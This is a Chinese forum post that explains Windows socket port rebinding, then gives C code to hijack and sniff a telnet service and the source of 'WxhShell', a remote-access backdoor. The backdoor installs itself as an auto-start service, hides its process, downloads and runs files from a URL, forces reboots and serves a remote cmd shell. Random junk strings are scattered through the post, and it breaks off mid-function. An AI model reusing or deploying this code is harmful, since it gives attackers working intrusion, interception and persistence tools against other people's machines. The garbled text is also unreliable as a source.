-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pgE}NlW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UBaAx21x Q;43[1&3w saddr.sin_family = AF_INET; <b`E_ rA5=dJ"I saddr.sin_addr.s_addr = htonl(INADDR_ANY); x7jC)M<k0 X.f>'0i bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (`c
[#0=n -bT)]gA2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %yW3VL D(AXk8Vub 这意味着什么?意味着可以进行如下的攻击: C/vIEYG4 i+S)
K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YW_Q\|p]M 1m:XR0 P 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aTqd@},? V )x$|!( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D6>2s\:>vp vY${;#~| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 [z`31F MGR!Z@1y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .!$*:4ok s;S?;(QI 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F`Q[6"<a uW@oyZUj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zQ@I}K
t m'6&9Jak #include {|&5_][ #include (Pf+0,2 #include rV R1wsaL #include
A: 5x| DWORD WINAPI ClientThread(LPVOID lpParam); .TND a& int main() K]s[5 { C":32_q WORD wVersionRequested; JEahGzO DWORD ret; "$ Y_UJT7 WSADATA wsaData; Bm.:^:&k BOOL val; bx{$Y_L+p SOCKADDR_IN saddr; w)kNkD SOCKADDR_IN scaddr; dZ rAn int err; tD(7^GuR SOCKET s; +cgSC5nR SOCKET sc; RrX[|GLSJ int caddsize; h|VeG3H HANDLE mt; <lw`
3aa( DWORD tid; Z~oo;xE wVersionRequested = MAKEWORD( 2, 2 ); 5iz{op<$, err = WSAStartup( wVersionRequested, &wsaData ); 5!DBmAB if ( err != 0 ) { B$ajK`x&I printf("error!WSAStartup failed!\n"); .aAL]-Rj
return -1; 0-HqPdjR } -xSA saddr.sin_family = AF_INET; ,2j&ko1 ?Z Rs\+{vG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7
%Oa;]| [F0s!,P saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~$:|VHl saddr.sin_port = htons(23); m?pstuUK( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "HElB9 { lef2 X1w}! printf("error!socket failed!\n"); 7'Zky2F
return -1; KIui(n#/ } - }7e:!. val = TRUE; ej4W{IN~: //SO_REUSEADDR选项就是可以实现端口重绑定的 3L833zL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e+$p9k~ { +$C4\$t printf("error!setsockopt failed!\n"); 8jd;JPz@\ return -1; P
`}zlml } %QH)' GJQ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |Y$uqRdV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *)ardZV${ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1crnmJ!C 3nT^?;- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 87<-kV { $@^pAP ret=GetLastError(); zEd0Tmt printf("error!bind failed!\n"); r=5{o1" return -1; >XY`*J^ } MBt9SXM listen(s,2); UR7g`/ while(1) BSYzC9h` { 9N9L}k b caddsize = sizeof(scaddr); S{PJUAu //接受连接请求 {["\.ZS| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?u/@PR\D if(sc!=INVALID_SOCKET) pP*zq"o { C\/xl#e<@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); co~Pyj if(mt==NULL) :=/85\P0SU { i@P)a'W_ printf("Thread Creat Failed!\n"); p2n0Z\2 break; ?ooe'V@ } |]J>R } l>Z5 uSG CloseHandle(mt); .z)%)PVV } w[9|cgCY closesocket(s); Bg&i63XL$$ WSACleanup(); /2UH=Q!x4E return 0; :*ing } 0y
7"SiFY DWORD WINAPI ClientThread(LPVOID lpParam) -BRc8 / { bSfpbo4( SOCKET ss = (SOCKET)lpParam; 6|aKL[%6 SOCKET sc; jGXO\:sO unsigned char buf[4096]; uJFdbBDSh SOCKADDR_IN saddr; wF <n= long num; XWA:J^ DWORD val; D2](da:]8) DWORD ret; OK{quM5 //如果是隐藏端口应用的话,可以在此处加一些判断 tSVc|j //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 qQA}Z*(m saddr.sin_family = AF_INET; +?u~APjNN saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q#vQv5 saddr.sin_port = htons(23); RA KFU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .q
`Hjmg< { Xe<sJ.&Wf printf("error!socket failed!\n"); ]$Yvj!K*Q return -1; Fs{x(_LOr } AG!w4Ky` val = 100; POdUV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) } \HN&@ { *
mOo@+89 ret = GetLastError(); SnE(o)Q return -1; aa>xIW,u } R_sr?V|" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `8^TTQ { E"+QJ~! ret = GetLastError(); Svondc
4 return -1; RRRCS]y7$t } 4*Q#0`um if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^.1c{0Y^0 {
0Uo\wyd printf("error!socket connect failed!\n"); J4Nln closesocket(sc); AWP"b?^G| closesocket(ss); ]|MEx{BG- return -1; A%`[mc]4# }
k\WR ] while(1) zUKmx y@ { G'6@+$ppS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ptDY3n~' //如果是嗅探内容的话,可以再此处进行内容分析和记录 BRlT7grgq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y^%n'h{ num = recv(ss,buf,4096,0); ?YZ- P{rTS if(num>0) =at@ Vp/y send(sc,buf,num,0); 7(qE0R&@ else if(num==0) P"W2(d break; &;+-?k| num = recv(sc,buf,4096,0); KVD8YfF if(num>0) BReJ!|{m} send(ss,buf,num,0); 4:|S` jm else if(num==0) +pR[U4$ break; kuol rfGB } LG<J;&41~S closesocket(ss); J@4 Bf
closesocket(sc); VH+%a<v" return 0 ; oW<5|FaN } :/Q \~fONBY {5F-5YL+> ========================================================== +n#V[~~8AI $e*ce94 下边附上一个代码,,WXhSHELL $Hj.{;eC/k }HY-uQ%@g ========================================================== w+yC)Rmz Cq'KoN%nQ #include "stdafx.h" _>|
=L
W@7 R~)\3] "2m #include <stdio.h> %@.v2 cT #include <string.h> :P<]+\m #include <windows.h> ?)u@Rf9> #include <winsock2.h> CaL\fZ #include <winsvc.h> (+B5|_xQu #include <urlmon.h> =>M^02" S"xKL{5 #pragma comment (lib, "Ws2_32.lib") R:#k%}W #pragma comment (lib, "urlmon.lib") nPye,"A Ol CitDm1DXt/ #define MAX_USER 100 // 最大客户端连接数 }[4r4 1[ #define BUF_SOCK 200 // sock buffer ~g5[$r-u-u #define KEY_BUFF 255 // 输入 buffer 8=gjY\Dp M+w=O!dq #define REBOOT 0 // 重启 !"\80LP #define SHUTDOWN 1 // 关机 J[4mLU K#pNec #define DEF_PORT 5000 // 监听端口 h"_MA_]~ dHv68*^\' #define REG_LEN 16 // 注册表键长度 =~=*&I4Dp #define SVC_LEN 80 // NT服务名长度
8xccp4 3?1`D/ // 从dll定义API y#q?A,C@n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6f\Lf?vF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SV2M+5#; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "x 3lQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )XYv}U fSs4ZXC // wxhshell配置信息 p$PKa.Y3 struct WSCFG { X)7x<?DAy int ws_port; // 监听端口 YbTxn="_ char ws_passstr[REG_LEN]; // 口令 H;YP8MoQ int ws_autoins; // 安装标记, 1=yes 0=no i*#-I3 char ws_regname[REG_LEN]; // 注册表键名 ~ xft char ws_svcname[REG_LEN]; // 服务名 >D(R YI char ws_svcdisp[SVC_LEN]; // 服务显示名 +\F'iAs@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 xHz[t6;4; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gqu?o&>9 int ws_downexe; // 下载执行标记, 1=yes 0=no 2oNk93D char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" wid;8%m char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %F-ZN^R TWQG591 }; f!!V${)X X@K-^8 // default Wxhshell configuration E0MGRI"me struct WSCFG wscfg={DEF_PORT, _nbBIaHN{ "xuhuanlingzhe", :'~Y 1, f;1K5Y "Wxhshell",
@I_8T$N= "Wxhshell", r[lF<2&*R "WxhShell Service", E|6VX4`+ "Wrsky Windows CmdShell Service", aVK3?y2 "Please Input Your Password: ", *Df,Ijh $ 1, N6 ( " http://www.wrsky.com/wxhshell.exe", >(?9? "Wxhshell.exe" p;tVn{u }; mR}6r2O2\Q 3td)'} // 消息定义模块 Z;:u'= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }^/9G17 char *msg_ws_prompt="\n\r? for help\n\r#>"; c@/(B:@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ni<A3OB char *msg_ws_ext="\n\rExit."; E}40oID char *msg_ws_end="\n\rQuit."; ;9#Z@]p char *msg_ws_boot="\n\rReboot..."; ev#;t@^ char *msg_ws_poff="\n\rShutdown..."; V&Xe!S char *msg_ws_down="\n\rSave to "; -3;*K4z$/ n#wI@W>%+ char *msg_ws_err="\n\rErr!"; .zn;:M#T char *msg_ws_ok="\n\rOK!"; bpKZ3}U L"{JRbh[ char ExeFile[MAX_PATH]; >i5acuth int nUser = 0; ;S57w1PbVA HANDLE handles[MAX_USER]; &:, dJ int OsIsNt; 0Sgaem` :yeq(oK, SERVICE_STATUS serviceStatus; {
T-'t/0e( SERVICE_STATUS_HANDLE hServiceStatusHandle; 1rkE yh?? B:!W$< // 函数声明 Z(Bp 0a int Install(void); V{^!BBQ
int Uninstall(void); V??dYB( int DownloadFile(char *sURL, SOCKET wsh); q^r#F#*1l int Boot(int flag); 89wU-Aggq void HideProc(void); ~Uxsn@nLr int GetOsVer(void); uoXAQ6k int Wxhshell(SOCKET wsl); Fl1;;F void TalkWithClient(void *cs); =
Wu
*+paQ int CmdShell(SOCKET sock); 5lm<% int StartFromService(void); sIK;x]Q) int StartWxhshell(LPSTR lpCmdLine); 1$%V{4bJ qeL5D* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V\^EfQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); .R9IL-3fO [BT/~6ovrZ // 数据结构和表定义 Qt/8r*Oe SERVICE_TABLE_ENTRY DispatchTable[] = Z| V`B ` { 3AsT {wscfg.ws_svcname, NTServiceMain}, z&{5;A}Q@ {NULL, NULL} rxy&spX }; U5He? Q)LM-ZJKQ // 自我安装 hED=u/ql[ int Install(void) <j5NFJ9 { C@bm char svExeFile[MAX_PATH]; /yZQ\ {= HKEY key; <oo strcpy(svExeFile,ExeFile); '*?WU_L(g -*m+(7G\ // 如果是win9x系统,修改注册表设为自启动 FxVZ[R if(!OsIsNt) { <_XWWT% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9\]^|?zQ` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yq NzdzX RegCloseKey(key); IjR'Qou5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RW }"2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e}.^Tiwd] RegCloseKey(key); k31I ysh return 0; ^8@Iyh } j'BMAn ? } ##EYH1P] } "B8"_D& else { NN1$'"@NL K"[AxB'F // 如果是NT以上系统,安装为系统服务 YBP:q2H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a'jR#MQl? if (schSCManager!=0) ,i,q!M{- { cPU/tkc SC_HANDLE schService = CreateService YI.w-K\ ( vJU*>U, schSCManager, &2=dNREJ}1 wscfg.ws_svcname, p$x{yz3 wscfg.ws_svcdisp, rJ!{/3e SERVICE_ALL_ACCESS, S.d^T]( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +5&wOgx SERVICE_AUTO_START, D.1J_Y=9 SERVICE_ERROR_NORMAL, pKjoi{
Z svExeFile, 3:f[gV9K NULL, {M?vBgR\B NULL, $8'O NULL, aKd+CO: NULL, 5n
^TRB NULL RNhJ'&SYs ); n9\]S7]52 if (schService!=0) jOyvDY9\ { 9Y<#=C CloseServiceHandle(schService); C>[fB|^ CloseServiceHandle(schSCManager); A,)VM9M_l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >N?2"" strcat(svExeFile,wscfg.ws_svcname); yx<WSgWZ[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qo1eXMW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vYU;_R RegCloseKey(key); VT.;:Q return 0; TcGoSj<Z } s9>(Jzcf9 } 2*w:tT8+X CloseServiceHandle(schSCManager); ]l(wg] } 5&e<#" } mnID3=JF Y2[A2Uy$ef return 1; ZDC9oX @ } bI y sl >R2SQA o // 自我卸载 ((^sDE6( int Uninstall(void) JMS(9>+TA { "sKa`WN} HKEY key; u^j {U} MCP "GZK6W if(!OsIsNt) { `W-&0|%Ta if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @YH+cG| RegDeleteValue(key,wscfg.ws_regname); nWvuaQ0} RegCloseKey(key); V&|!RxWK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { atW' RegDeleteValue(key,wscfg.ws_regname); _zu?.I0^ RegCloseKey(key); ~-83Q5/[ return 0; //&j<vus } N7s'6(`=X } x+@&(NMP5 } ,o7hk{fR* else { lMz<s !P$'#5mr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (?*BB3b` if (schSCManager!=0) p<v.Q { i#%a- I:M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wfjc/u9W6R if (schService!=0) }BmS)Jq { q,2]5' if(DeleteService(schService)!=0) { t
nS+5F CloseServiceHandle(schService); sncIqsZ CloseServiceHandle(schSCManager); 4TwQO$C return 0; :EtMH( } +]@Az.E CloseServiceHandle(schService); lI/0:|l } 7DfTfTU6 CloseServiceHandle(schSCManager); 0gn@h/F2% } /V?H4z[G } {gKN d*[* ]}UgS+g>$ return 1; 5`<eKwls } s:AkkkF V
>,Z-&.% // 从指定url下载文件 o_Si mJFK int DownloadFile(char *sURL, SOCKET wsh) ?QA\G6i4 { !tHt,eJy HRESULT hr; G^(}a]>9 char seps[]= "/"; EHlytG}@ char *token; a?R[J== char *file; Q8MS,7y/ char myURL[MAX_PATH]; m4[g6pNx~ char myFILE[MAX_PATH]; i%#$* =_[Z W strcpy(myURL,sURL); ntP|\E token=strtok(myURL,seps);
-~4+w while(token!=NULL) SjdZyJa { F.)!3YE file=token; d3]hyTqbtm token=strtok(NULL,seps); 4q$H } ?_`0G/xl U4Nh GetCurrentDirectory(MAX_PATH,myFILE); AA:no= strcat(myFILE, "\\"); *wV[TKaN strcat(myFILE, file); )nu~9km3 send(wsh,myFILE,strlen(myFILE),0); <TNk?df7 send(wsh,"...",3,0); s^T+5E&} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); somfv$'B if(hr==S_OK) )uLr?$qe return 0; 9B+wYJp else +/?iCmW return 1; s~},y]YV oY`qI nM_ } \nqo%5XL &gc`<kLu // 系统电源模块 hFvi5I-b int Boot(int flag) @rb l^ { \Z/k;=Sla HANDLE hToken; ZB5?!.ND TOKEN_PRIVILEGES tkp; MF[z-7 jK8'T_Pah if(OsIsNt) { P.sgRsL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?G?gy2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !6w{(Rc(C tkp.PrivilegeCount = 1; 0W>9'Rw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MjaUdfx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D*vm
cSf if(flag==REBOOT) { Pj7gGf6v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;5<-) return 0; tLcEl'Eo } !5x
Ly6=} else { S)%_we LW7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ad!(z[F'Y return 0; Y(GN4@`S } |xr32gs } i9UI,b%X else { LNQSb4 if(flag==REBOOT) { wUi(3g|A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sa1mC return 0; gY`Nr!O } U '[?9/T else { 1h"_[`L' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #/j ={*- return 0; SvK1.NUa } )Mzt3u } d^39t4 ]Qi,j#X return 1; |Vx~fK S\ } s0{
NsK> ~hURs;Sb // win9x进程隐藏模块 ${U6= void HideProc(void) oVZ4bRl { nR8]@c C >uHS[ _`nM HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F,G,b if ( hKernel != NULL ) Fc0jQ@4= { pH9HK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =8{*@>CX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8.I9}_ FreeLibrary(hKernel);
SNvb1& } =LZ>su 2/tb6' = return; 2H&{1f\Bf } p27p~b& |*Ot/TvG // 获取操作系统版本 9y"TDo int GetOsVer(void) da*9(!OV { v`)m">e*w OSVERSIONINFO winfo; Bt>}LLBS2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DY><qk GetVersionEx(&winfo); =aow
d4t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v`{:~q* return 1; ;]&-MFv# else =|y|P80w return 0; bNvAyKc- } B-Y+F Mn"/#tXL- // 客户端句柄模块 #t5juX9Ho9 int Wxhshell(SOCKET wsl) b*9e1/] { QAvWJydb SOCKET wsh; Zd>ZY,-5 struct sockaddr_in client; !cCg/ DWORD myID; ^`&HWp |t\KsW while(nUser<MAX_USER) ci7~KewJ* { _hoAW8i int nSize=sizeof(client); ida*]+ ~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 11*"d# if(wsh==INVALID_SOCKET) return 1; md6*c./Z 3%NE/lw1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K<,Y^3]6? if(handles[nUser]==0) N&B>#: closesocket(wsh); ZA.fa0n else aBCOGtf nUser++; `2x 34 } hZ#\t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -]&<Sr- fjkT5LNxk return 0; psD[j W } szn%wZW
-HT L5 // 关闭 socket zjoo{IH} void CloseIt(SOCKET wsh) ,#%SK;1< { #5d8?n closesocket(wsh); 5}SXYA} nUser--; &^ceOV0+ ExitThread(0); =[(%n94 } &9h n49s3|#)G // 客户端请求句柄 >PH< N void TalkWithClient(void *cs) wrK#lh2 { ork|yj/A aa=b<Cd SOCKET wsh=(SOCKET)cs; !@yQK<0 char pwd[SVC_LEN]; 4H7Oh*P\j char cmd[KEY_BUFF]; IuWX*b`v char chr[1]; ~mcZUiP9 int i,j;
H8"tbU o@@w^## while (nUser < MAX_USER) { vUfO4yfdg F=5kF/}x-z if(wscfg.ws_passstr) { Ko-QR( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tz8t9lb[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ey= 4 b //ZeroMemory(pwd,KEY_BUFF); 8a!2zwUBV i=0; (6[Wr}SW5 while(i<SVC_LEN) { (\q[gyR jQIV2TY[ // 设置超时 [5pn@o fd_set FdRead; 4`G=q^GL, struct timeval TimeOut; /^QFqM; FD_ZERO(&FdRead); )Jz !Ut FD_SET(wsh,&FdRead); c.6QhE TimeOut.tv_sec=8; .6I%64m TimeOut.tv_usec=0; @_uFX!; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Y$VB%&Hy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W#Cq6N }amE6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *hl<Y,W( pwd =chr[0]; "
xxXZGUp if(chr[0]==0xd || chr[0]==0xa) { 4=
$!_,. pwd=0; jM;d>Gymx break; -sD:+Te } !z.^(Tj i++; xF^r` } wISzT^RS
}(rzH}X@ // 如果是非法用户,关闭 socket j~Ff/O if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tpd|y| } '&{(:,!B
z8tt+AU send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !?Tzk&' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QJ6f
EV$~ =/f74s
t while(1) { MSFNw /^8t'Jjd, ZeroMemory(cmd,KEY_BUFF); 0Mq6yu^ hAYQ6g$A // 自动支持客户端 telnet标准 3dY6;/s j=0; p\)h",RkA while(j<KEY_BUFF) { @nW'(x( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L7[X|zmy*x cmd[j]=chr[0]; E'fX&[ if(chr[0]==0xa || chr[0]==0xd) { @)06\h cmd[j]=0; Q,O]x# break; <6gU2@1 } q
w"e0q% ) j++; G+;g:_E= } @D2`*C9 <,#rtVO$ // 下载文件 5@""_n&FV if(strstr(cmd,"http://")) { d?E4[7<t$1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); mrX}\p if(DownloadFile(cmd,wsh)) [29$~.m$Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^S3A10f, else X{4xm,B/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6pSRum } g9! dpP else { wP+'04H0 8HB?=a2Q<' switch(cmd[0]) { >E{#HPpBi N n:m+ZDo^ // 帮助 mT}Aje-L case '?': { v UJ sFR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5,g$|,Shv break; 69[w/\ } `z5v}T // 安装 #=>kw^5 case 'i': { ye9QTK6$, if(Install()) Pau&4h0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Xla_@WLW else oM m/!Dc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]ZBgE\[ break; `,<>){c| } !<JG&9ODP // 卸载 ^$3w&$K* case 'r': { a^(S!I if(Uninstall()) 8j({=xbg& send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?yda.<"g9Y else >!CH7wX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mOgx&ns;j break; N}e(. } <PH3gyC // 显示 wxhshell 所在路径 W\z L case 'p': { 9p!d Q x char svExeFile[MAX_PATH]; 5LnB]dW strcpy(svExeFile,"\n\r"); (2&K(1.Y strcat(svExeFile,ExeFile); $=QNGC2+ send(wsh,svExeFile,strlen(svExeFile),0); jCdZ}M($ break;
9QO!vx } a?f5(qW3 // 重启 e/ppZ> case 'b': { 5k_Mj*{6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,5%aP% if(Boot(REBOOT)) V1AEjh send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{1c7g else { M}{n6T6B closesocket(wsh); 4?*`: ExitThread(0); oQKcGUZ } 7zi^{] break; s7X~OF(# } K[Ws/yc^a // 关机 oc,U4+T case 'd': { (W{ rv6cq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j8F~j?%! if(Boot(SHUTDOWN)) u/K)y:ZZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); BBZ)H6TzL else { cviN$oL closesocket(wsh); '{1W)X ExitThread(0); cPa 0n4 } yBD.Cs@ break; ?`BED6$`G9 } Yn?2,^?N // 获取shell *+zy\AhkP case 's': { `"1{Sx. CmdShell(wsh); S(YHwH": closesocket(wsh); lu9Ir>c ExitThread(0); $rV:&A break; {&Gk.ODI7 } +"fM &F] // 退出 ({}O
M=_ case 'x': { !F}J+N=} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &'oacV= CloseIt(wsh); 5Rt0h$_J break; 1f bFNxo8M } ~]D\&D9=? // 离开 #RZJ1uL case 'q': { aL$c).hq0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); UC<[z#]\; closesocket(wsh); [M zc^I& WSACleanup(); vX!dMJa0 exit(1); 1Tts3O. break; U_=wL } faKrSmE! } GurE7J^= } [{fF)D<tC WhVmycdv // 提示信息 a)yNXn8E_ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a5Acqa } U+3PqWB } xN":2qy#T ct|'I]nB.h return; n!EH>'T } 3:CQMZ|;@ &t=>:C$1Y // shell模块句柄 Wy0a2Ve int CmdShell(SOCKET sock) 1V?Sj { 6DiA2'{f STARTUPINFO si; D2wgSrY ZeroMemory(&si,sizeof(si)); `'tw5} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D;#Yn M3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R'a5,zEo/ PROCESS_INFORMATION ProcessInfo; th>yi)m char cmdline[]="cmd"; ;V}FbWz^v6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IbNTdg]/F` return 0; ,:Ix s^- } Cg%I)nz PtVNG // 自身启动模式 t+TbCe int StartFromService(void) )Q pP1[ { :Y)kKq d typedef struct =Q8^@i4[&D { 5/eS1NJ@ DWORD ExitStatus; ?p/kuv{\o# DWORD PebBaseAddress; |@n{tog+- DWORD AffinityMask; [HZCnO|N DWORD BasePriority; :Pp;{=J ULONG UniqueProcessId; j~0ZE
-e ULONG InheritedFromUniqueProcessId; c75vAKZ2 } PROCESS_BASIC_INFORMATION; 3YNkT"~T Y.hH
